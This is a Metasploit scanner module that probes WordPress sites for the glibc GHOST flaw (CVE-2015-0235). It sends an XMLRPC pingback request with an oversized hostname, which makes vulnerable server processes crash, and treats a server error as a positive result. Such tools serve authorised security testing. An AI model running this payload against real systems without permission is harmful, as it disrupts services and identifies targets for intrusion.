WordPress XMLRPC GHOST Vulnerability Scanner

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
    'Name' => 'WordPress XMLRPC GHOST Vulnerability Scanner',
    'Description' => %q{
      This module can be used to determine hosts vulnerable to the GHOST vulnerability via
      a call to the WordPress XMLRPC interface. If the target is vulnerable, the system
      will segfault and return a server error. On patched systems, a normal XMLRPC error
      is returned.
    },
    'Author' =>
    [
      'Robert Rowley',
      'Christophe De La Fuente' ,
      'Chaim Sanders' ,
      'Felipe Costa' ,
      'Jonathan Claudius' ,
      'Karl Sigler' ,
      'Christian Mehlmauer' # metasploit module
    ],
    'License' => MSF_LICENSE,
    'References'  =>
    [
      [ 'CVE', '2015-0235' ],
      [ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235/'],
      [ 'URL', 'https://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html']
    ]
    ))

    register_options(
    [
      OptInt.new('LENGTH', [false, 'Payload length', 2500]),
    ])
  end

  def length
    datastore['LENGTH']
  end

  def run_host(ip)
    unless wordpress_and_online?
      print_error("Looks like this site is no WordPress blog")
      return
    end

    unless wordpress_xmlrpc_enabled?
      print_error("XMLRPC interface is not enabled")
      return
    end

    ghost = "0" * length
    payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php"
    xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload)

    res = send_request_cgi(
    'uri'       => wordpress_url_xmlrpc,
    'method'    => 'POST',
    'ctype'     => 'text/xml;charset=UTF-8',
    'data'      => xml
    )

    if res.nil? || res.code == 500
      print_good("vulnerable to GHOST")
      report_vuln(
      :host   => ip,
      :proto  => 'tcp',
      :port   => datastore['RPORT'],
      :name   => self.name,
      :info   => "Module #{self.fullname} found GHOST vulnerability",
      :sname  => datastore['SSL'] ? "https" : "http"
      )
    else
      print_status("target not vulnerable to GHOST")
    end
  end
end